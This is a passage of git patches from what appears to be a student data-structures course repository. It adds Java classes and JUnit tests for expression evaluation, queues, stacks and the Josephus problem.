+		int result = 0;
+		switch(operator){
+			case '+' : result = i1 + i2 ; break;
+			case '-' : result = i1 - i2 ; break;
+			case '*' : result = i1 * i2 ; break;
+			case '/' : 
+				if(i1 == 0){
+					throw new ArithmeticException("除数不能为0");
+				}
+				result = i1 / i2 ; break;
+		}
+		return result;
+	}
+	
+	public float evaluate() {
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+		Stack<Integer> numStack = new Stack<>();
+		for(int i = 0; i < tokens.size(); i++){
+			Token token = tokens.get(i);
+			if(token.isNumber()){
+				numStack.push(token.getIntValue());
+			}else if(token.isOperator()){
+				int n2 = numStack.pop();
+				int n1 = numStack.pop();
+				numStack.push(cal(token.value.charAt(0),n1,n2));
+			}
+		}
+		return (float)numStack.pop() ;
+	}
+}
diff --git a/group01/1298552064/src/week07/basic/PrefixExpr.java b/group01/1298552064/src/week07/basic/PrefixExpr.java
new file mode 100644
index 0000000000..f52942dfbb
--- /dev/null
+++ b/group01/1298552064/src/week07/basic/PrefixExpr.java
@@ -0,0 +1,51 @@
+package week07.basic;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	private String expr = null;
+
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	/**
+	 * 计算
+	 * @param operator 运算符
+	 * @param i1 操作数1
+	 * @param i2 操作数2
+	 * @return
+	 */
+	private int cal(char operator, int i1, int i2){
+		int result = 0;
+		switch(operator){
+			case '+' : result = i1 + i2 ; break;
+			case '-' : result = i1 - i2 ; break;
+			case '*' : result = i1 * i2 ; break;
+			case '/' : 
+				if(i1 == 0){
+					throw new ArithmeticException("除数不能为0");
+				}
+				result = i1 / i2 ; break;
+		}
+		return result;
+	}
+	
+	public float evaluate() {
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+		Stack<Integer> numStack = new Stack<>();
+		for(int i = tokens.size() - 1; i >= 0;i--){
+			Token token = tokens.get(i);
+			if(token.isNumber()){
+				numStack.push(token.getIntValue());
+			}else if(token.isOperator()){
+				int n1 = numStack.pop();
+				int n2 = numStack.pop();
+				numStack.push(cal(token.value.charAt(0), n1, n2));
+			}
+		}
+		return (float)numStack.pop() ;
+	}
+}
diff --git a/group01/1298552064/src/week07/basic/Token.java b/group01/1298552064/src/week07/basic/Token.java
new file mode 100644
index 0000000000..e2a13816ca
--- /dev/null
+++ b/group01/1298552064/src/week07/basic/Token.java
@@ -0,0 +1,52 @@
+package week07.basic;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String, Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+
+	public Token(int type, String value) {
+		this.type = type;
+		this.value = value;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public int getIntValue() {
+		return Integer.parseInt(value);
+	}
+
+	@Override
+	public String toString() {
+		return value;
+	}
+
+	public boolean hasHigherPriority(Token t) {
+		if (!this.isOperator() && !t.isOperator()) {
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) >= 0;
+
+	}
+
+}
diff --git a/group01/1298552064/src/week07/basic/TokenParser.java b/group01/1298552064/src/week07/basic/TokenParser.java
new file mode 100644
index 0000000000..7f7e5bc83e
--- /dev/null
+++ b/group01/1298552064/src/week07/basic/TokenParser.java
@@ -0,0 +1,44 @@
+package week07.basic;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	public List<Token> parse(String expr){
+		List<Token> tokens = new ArrayList<>();
+		int i = 0;
+		while(i < expr.length()){
+			char c = expr.charAt(i);
+			if(isOperator(c)){
+				Token token = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(token);
+				i++;
+			}else if(Character.isDigit(c)){
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token token = new Token(Token.NUMBER, value);
+				tokens.add(token);
+				i = nextOperatorIndex;
+			}else{
+				System.out.println("char :[" + c + "] is not number or operator,ignore");
+				i++;
+			}
+		}
+		return tokens;
+	}
+	
+	public int indexOfNextOperator(int i,String expr){
+		while(Character.isDigit(expr.charAt(i))){
+			i++;
+			if(i == expr.length()){
+				break;
+			}
+		}
+		return i;
+	}
+	
+	public boolean isOperator(char c){
+		String s = String.valueOf(c);
+		return Token.OPERATORS.contains(s);
+	}
+}
diff --git a/group01/1298552064/src/week07/test/InfixToPostfixTest.java b/group01/1298552064/src/week07/test/InfixToPostfixTest.java
new file mode 100644
index 0000000000..f747e5be3f
--- /dev/null
+++ b/group01/1298552064/src/week07/test/InfixToPostfixTest.java
@@ -0,0 +1,35 @@
+package week07.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.basic.InfixToPostfix;
+
+public class InfixToPostfixTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testconvert() {
+		
+		Assert.assertEquals("[2, 3, 4, *, +, 5, +]", InfixToPostfix.convert("2+3*4+5").toString());
+		
+		Assert.assertEquals("[3, 20, *, 12, 5, *, +, 40, 2, /, -]", InfixToPostfix.convert("3*20+12*5-40/2").toString());
+		
+		Assert.assertEquals("[10, 2, 3, *, -, 50, +]", InfixToPostfix.convert("10-2*3+50").toString());
+		
+		Assert.assertEquals("[3, 20, 2, /, *]", InfixToPostfix.convert("3*20/2").toString());
+		
+		Assert.assertEquals("[10, 30, 50, +, -]", InfixToPostfix.convert("10-30+50").toString());
+		
+		Assert.assertEquals("[20, 2, 3, *, /]", InfixToPostfix.convert("20/2*3").toString());
+		
+	}
+}
diff --git a/group01/1298552064/src/week07/test/PostfixExprTest.java b/group01/1298552064/src/week07/test/PostfixExprTest.java
new file mode 100644
index 0000000000..3578cded0e
--- /dev/null
+++ b/group01/1298552064/src/week07/test/PostfixExprTest.java
@@ -0,0 +1,37 @@
+package week07.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.basic.PostfixExpr;
+
+public class PostfixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(), 0.0f);
+		}
+		{
+			// 9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(), 0.0f);
+		}
+
+		{
+			// 10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(), 0.0f);
+		}
+	}
+}
diff --git a/group01/1298552064/src/week07/test/PrefixExprTest.java b/group01/1298552064/src/week07/test/PrefixExprTest.java
new file mode 100644
index 0000000000..7c85c57bc4
--- /dev/null
+++ b/group01/1298552064/src/week07/test/PrefixExprTest.java
@@ -0,0 +1,43 @@
+package week07.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.basic.PrefixExpr;
+
+public class PrefixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(), 0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(), 0.001f);
+		}
+		{
+			// (3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(), 0.001f);
+		}
+		{
+			// 1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(), 0.001f);
+		}
+
+	}
+}

From 35ab96293365375678c40b33994d12cf57b87b03 Mon Sep 17 00:00:00 2001
From: GallenZhang <1298552064@qq.com>
Date: Sun, 7 May 2017 19:40:10 +0800
Subject: [PATCH 224/262] =?UTF-8?q?=E7=AC=AC=E5=85=AB=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E4=B9=8B=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

第八次作业之数据结构
---
 .../src/week08/basic/CircleQueue.java         | 53 ++++++++++++++++++
 .../1298552064/src/week08/basic/Josephus.java | 40 ++++++++++++++
 .../1298552064/src/week08/basic/Queue.java    | 54 +++++++++++++++++++
 .../src/week08/basic/QueueWithTwoStacks.java  | 46 ++++++++++++++++
 .../src/week08/test/CircleQueueTest.java      | 40 ++++++++++++++
 .../src/week08/test/JosephusTest.java         | 26 +++++++++
 6 files changed, 259 insertions(+)
 create mode 100644 group01/1298552064/src/week08/basic/CircleQueue.java
 create mode 100644 group01/1298552064/src/week08/basic/Josephus.java
 create mode 100644 group01/1298552064/src/week08/basic/Queue.java
 create mode 100644 group01/1298552064/src/week08/basic/QueueWithTwoStacks.java
 create mode 100644 group01/1298552064/src/week08/test/CircleQueueTest.java
 create mode 100644 group01/1298552064/src/week08/test/JosephusTest.java

diff --git a/group01/1298552064/src/week08/basic/CircleQueue.java b/group01/1298552064/src/week08/basic/CircleQueue.java
new file mode 100644
index 0000000000..af1eed0575
--- /dev/null
+++ b/group01/1298552064/src/week08/basic/CircleQueue.java
@@ -0,0 +1,53 @@
+package week08.basic;
+
+import java.util.Arrays;
+
+/**
+ * 用数组实现循环队列
+ * @author gallenzhang
+ *
+ * @param <E>
+ */
+public class CircleQueue<E> {
+	private final static int DEFAULT_SIZE = 10;
+
+	// 用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE];
+	
+	//队列的长度
+	private int size;
+	// 队头
+	private int front = 0;
+	// 队尾
+	private int rear = 0;
+
+	public boolean isEmpty() {
+		return front == rear;
+	}
+
+	public int size() {
+		return size;
+	}
+
+	public void enQueue(E data) {
+		if((rear + 1) % elementData.length == front){
+			int len = elementData.length + elementData.length / 2;
+			elementData = Arrays.copyOf(elementData, len);
+		}
+		elementData[rear] = data;
+		size++;
+		rear = (rear + 1) % elementData.length;
+	}
+
+	@SuppressWarnings("unchecked")
+	public E deQueue() {
+		if(isEmpty()){
+			return null;
+		}
+		
+		E e = (E) elementData[front];
+		front = (front + 1) % elementData.length;
+		size--;
+		return e;
+	}
+}
diff --git a/group01/1298552064/src/week08/basic/Josephus.java b/group01/1298552064/src/week08/basic/Josephus.java
new file mode 100644
index 0000000000..846cc7bf59
--- /dev/null
+++ b/group01/1298552064/src/week08/basic/Josephus.java
@@ -0,0 +1,40 @@
+package week08.basic;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
+ * 
+ * @author gallenzhang
+ *
+ */
+public class Josephus {
+
+	public static List<Integer> execute(int n, int m) {
+		Queue<Integer> allQueue = new Queue<>();
+		Queue<Integer> killQueue = new Queue<>();
+		for(int i = 0; i < n; i++){
+			allQueue.enQueue(i);
+		}
+		
+		int k = 0;
+		while(!allQueue.isEmpty()){
+			Integer num = allQueue.deQueue();
+			k++;
+			if(k == m){
+				killQueue.enQueue(num);
+				k = 0;
+			}else{
+				allQueue.enQueue(num);
+			}
+		}
+		List<Integer> killList = new ArrayList<>();
+		while(!killQueue.isEmpty()){
+			killList.add(killQueue.deQueue());
+		}
+		
+		return killList;
+	}
+}
diff --git a/group01/1298552064/src/week08/basic/Queue.java b/group01/1298552064/src/week08/basic/Queue.java
new file mode 100644
index 0000000000..00ad554de6
--- /dev/null
+++ b/group01/1298552064/src/week08/basic/Queue.java
@@ -0,0 +1,54 @@
+package week08.basic;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+	private Node<E> first;
+	private Node<E> last;
+	private int size;
+
+	private static class Node<E> {
+		private E item;
+		private Node<E> next;
+	}
+
+	public Queue() {
+		first = null;
+		last = null;
+		size = 0;
+	}
+
+	public boolean isEmpty() {
+		return first == null;
+	}
+
+	public int size() {
+		return size;
+	}
+
+	public void enQueue(E data) {
+		Node<E> oldlast = last;
+		last = new Node<E>();
+		last.item = data;
+		last.next = null;
+		if (isEmpty()) {
+			first = last;
+		} else {
+			oldlast.next = last;
+		}
+		size++;
+	}
+
+	public E deQueue() {
+		if (isEmpty()) {
+			throw new NoSuchElementException("Queue underflow");
+		}
+		E item = first.item;
+		first = first.next;
+		size--;
+		if (isEmpty()) {
+			last = null;
+		}
+		return item;
+	}
+}
diff --git a/group01/1298552064/src/week08/basic/QueueWithTwoStacks.java b/group01/1298552064/src/week08/basic/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..35daf8f4a9
--- /dev/null
+++ b/group01/1298552064/src/week08/basic/QueueWithTwoStacks.java
@@ -0,0 +1,46 @@
+package week08.basic;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * 
+ * @author gallenzhang
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;
+	private Stack<E> stack2;
+
+	public QueueWithTwoStacks() {
+		stack1 = new Stack<E>();
+		stack2 = new Stack<E>();
+	}
+
+	public boolean isEmpty() {
+		return stack1.size() == 0;
+	}
+
+	public int size() {
+		return stack1.size();
+	}
+
+	public void enQueue(E item) {
+		stack1.push(item);
+	}
+
+	public E deQueue() {
+		if(stack1.isEmpty()){
+			return null;
+		}
+		while(!stack1.isEmpty()){
+			stack2.push(stack1.pop());
+		}
+		E e = stack2.pop();
+		while(!stack2.isEmpty()){
+			stack1.push(stack2.pop());
+		}
+		return e;
+	}
+}
diff --git a/group01/1298552064/src/week08/test/CircleQueueTest.java b/group01/1298552064/src/week08/test/CircleQueueTest.java
new file mode 100644
index 0000000000..2ad18c04b6
--- /dev/null
+++ b/group01/1298552064/src/week08/test/CircleQueueTest.java
@@ -0,0 +1,40 @@
+package week08.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.basic.CircleQueue;
+
+public class CircleQueueTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		CircleQueue<String> queue = new CircleQueue<String>();		
+		Assert.assertTrue(queue.isEmpty());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+}
diff --git a/group01/1298552064/src/week08/test/JosephusTest.java b/group01/1298552064/src/week08/test/JosephusTest.java
new file mode 100644
index 0000000000..6c392438bc
--- /dev/null
+++ b/group01/1298552064/src/week08/test/JosephusTest.java
@@ -0,0 +1,26 @@
+package week08.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.basic.Josephus;
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+
+	}
+}

From 04d6a67555a1b4f2b0f9f530a7c40687ef8cdb89 Mon Sep 17 00:00:00 2001
From: TonyHui <thlcly@163.com>
Date: Sun, 7 May 2017 20:57:27 +0800
Subject: [PATCH 225/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BB=A3=E7=A0=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/aaront/exercise/basic/Josephus.java   |  31 ++++++
 .../aaront/exercise/basic/QuickMinStack.java  |  56 ++++++++++
 .../com/aaront/exercise/basic/StackUtil.java  | 102 ++++++++++++++++++
 .../exercise/basic/StackWithTwoQueues.java    |  24 +++++
 .../exercise/basic/TwoStackInOneArray.java    |  91 ++++++++++++++++
 .../aaront/exercise/basic/expr/InfixExpr.java |  73 +++++++++++++
 .../exercise/basic/expr/InfixToPostfix.java   |  35 ++++++
 .../exercise/basic/expr/PostfixExpr.java      |  51 +++++++++
 .../exercise/basic/expr/PrefixExpr.java       |  53 +++++++++
 .../com/aaront/exercise/basic/expr/Token.java |  47 ++++++++
 .../exercise/basic/expr/TokenParser.java      |  55 ++++++++++
 .../aaront/exercise/generic/CircleQueue.java  |  41 +++++++
 .../exercise/generic/QueueWithTwoStacks.java  |  42 ++++++++
 .../aaront/execrise/basic/JosephusTest.java   |  24 +++++
 .../execrise/basic/QuickMinStackTest.java     |  48 +++++++++
 .../aaront/execrise/basic/StackUtilTest.java  |  66 ++++++++++++
 .../basic/StackWithTwoQueuesTest.java         |  27 +++++
 .../basic/TwoStackInOneArrayTest.java         |  43 ++++++++
 .../aaront/execrise/expr/InfixExprTest.java   |  53 +++++++++
 .../execrise/expr/InfixToPostfixTest.java     |  38 +++++++
 .../aaront/execrise/expr/PostfixExprTest.java |  42 ++++++++
 .../aaront/execrise/expr/PrefixExprTest.java  |  46 ++++++++
 .../aaront/execrise/expr/TokenParserTest.java |  40 +++++++
 .../execrise/generic/CircleQueueTest.java     |  43 ++++++++
 .../generic/QueueWithTwoStacksTest.java       |  28 +++++
 25 files changed, 1199 insertions(+)
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/Josephus.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/QuickMinStack.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackUtil.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackWithTwoQueues.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/TwoStackInOneArray.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixExpr.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixToPostfix.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PostfixExpr.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PrefixExpr.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/Token.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/TokenParser.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/CircleQueue.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/QueueWithTwoStacks.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/JosephusTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/QuickMinStackTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackUtilTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackWithTwoQueuesTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/TwoStackInOneArrayTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixExprTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixToPostfixTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PostfixExprTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PrefixExprTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/TokenParserTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/CircleQueueTest.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/QueueWithTwoStacksTest.java

diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/Josephus.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/Josephus.java
new file mode 100644
index 0000000000..8e25ad86c2
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/Josephus.java
@@ -0,0 +1,31 @@
+package com.aaront.exercise.basic;
+
+import com.aaront.exercise.generic.GenericQueue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ *
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m) {
+        List<Integer> manKilled = new ArrayList<>();
+        GenericQueue<Integer> queue = new GenericQueue<>();
+        for (int i = 0; i < n; i++) {
+            queue.enQueue(i);
+        }
+
+        while (queue.size() != 0) {
+            for (int i = 1; i < m; i++) {
+                queue.enQueue(queue.deQueue());
+            }
+            manKilled.add(queue.deQueue());
+        }
+        return manKilled;
+    }
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/QuickMinStack.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/QuickMinStack.java
new file mode 100644
index 0000000000..95140bf777
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/QuickMinStack.java
@@ -0,0 +1,56 @@
+package com.aaront.exercise.basic;
+
+import java.util.Arrays;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回该数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ */
+public class QuickMinStack {
+
+    private static final int DEFAULT_LENGTH = 20;
+    private Node[] nodes = new Node[DEFAULT_LENGTH];
+
+    private int size = 0;
+
+    public void push(int data) {
+        _ensureCapacityEnough();
+        if (size == 0) {
+            Node node = new Node(data, data);
+            nodes[size++] = node;
+        } else {
+            int min = nodes[size - 1].min;
+            Node node = new Node(data, data > min ? min : data);
+            nodes[size++] = node;
+        }
+    }
+
+    public int pop() {
+        if (size <= 0) throw new RuntimeException("栈为空");
+        return nodes[--size].data;
+    }
+
+    public int findMin() {
+        return nodes[size - 1].min;
+    }
+
+    public int size() {
+        return this.size;
+    }
+
+    private void _ensureCapacityEnough() {
+        if (size >= nodes.length) {
+            nodes = Arrays.copyOf(nodes, DEFAULT_LENGTH * 2);
+        }
+    }
+}
+
+class Node {
+    int data;
+    int min;
+
+    public Node(int data, int min) {
+        this.data = data;
+        this.min = min;
+    }
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackUtil.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackUtil.java
new file mode 100644
index 0000000000..fde0d047a3
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackUtil.java
@@ -0,0 +1,102 @@
+package com.aaront.exercise.basic;
+
+import java.util.Arrays;
+import java.util.Stack;
+
+public class StackUtil {
+
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack<Integer> s) {
+        if (s == null) return;
+        Integer[] temp = new Integer[s.size()];
+        int i = 0;
+        while (!s.isEmpty()) {
+            temp[i++] = s.pop();
+        }
+        for(i = 0;i < temp.length;i++) {
+            s.push(temp[i]);
+        }
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s, Object o) {
+        if (s == null) return;
+        Stack temp = new Stack();
+        while (!s.isEmpty()) {
+            Object element = s.pop();
+            if (element.equals(o)) break;
+            temp.push(element);
+        }
+        while (!temp.isEmpty()) {
+            s.push(temp.pop());
+        }
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+        if (s == null) return null;
+        int index = 0;
+        Object[] elements = new Object[len];
+        while (!s.isEmpty() && index < len) {
+            elements[index] = s.pop();
+            index++;
+        }
+        for (int i = index - 1; i >= 0; i--) {
+            s.push(elements[i]);
+        }
+        return Arrays.copyOf(elements, index);
+    }
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+        if (s.isEmpty()) return true;
+        Stack<Character> stack = new Stack<>();
+        for (int i = 0, len = s.length(); i < len; i++) {
+            char c = s.charAt(i);
+            switch (c) {
+                case '(':
+                case '[':
+                case '{':
+                    stack.push(c);
+                    break;
+                case ')':
+                    if(stack.peek().equals('(')) stack.pop();
+                    else return false;
+                    break;
+                case ']':
+                    if(stack.peek().equals('[')) stack.pop();
+                    else return false;
+                    break;
+                case '}':
+                    if (stack.peek().equals('{')) stack.pop();
+                    else return false;
+                    break;
+            }
+        }
+        return stack.isEmpty();
+    }
+}
+
+	
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackWithTwoQueues.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackWithTwoQueues.java
new file mode 100644
index 0000000000..54c7db6d87
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/StackWithTwoQueues.java
@@ -0,0 +1,24 @@
+package com.aaront.exercise.basic;
+
+import com.aaront.exercise.generic.GenericQueue;
+
+public class StackWithTwoQueues {
+
+    private GenericQueue<Integer> queue1 = new GenericQueue<>();
+    private GenericQueue<Integer> queue2 = new GenericQueue<>();
+
+    public void push(int data) {
+        queue1.enQueue(data);
+    }
+
+    public int pop() {
+        while (queue1.size() != 1) {
+            queue2.enQueue(queue1.deQueue());
+        }
+        int element  = queue1.deQueue();
+        while (!queue2.isEmpty()) {
+            queue1.enQueue(queue2.deQueue());
+        }
+        return element;
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/TwoStackInOneArray.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/TwoStackInOneArray.java
new file mode 100644
index 0000000000..1d2e1edb3e
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/TwoStackInOneArray.java
@@ -0,0 +1,91 @@
+package com.aaront.exercise.basic;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ */
+public class TwoStackInOneArray {
+    private Object[] data = new Object[10];
+    private int pos1 = -1;
+    private int pos2 = data.length;
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+        _ensureCapacityEnough();
+        data[++pos1] = o;
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        if (pos1 < 0) return null;
+        return data[pos1--];
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        if (pos1 < 0) return null;
+        return data[pos1];
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+        _ensureCapacityEnough();
+        data[--pos2] = o;
+    }
+
+    /**
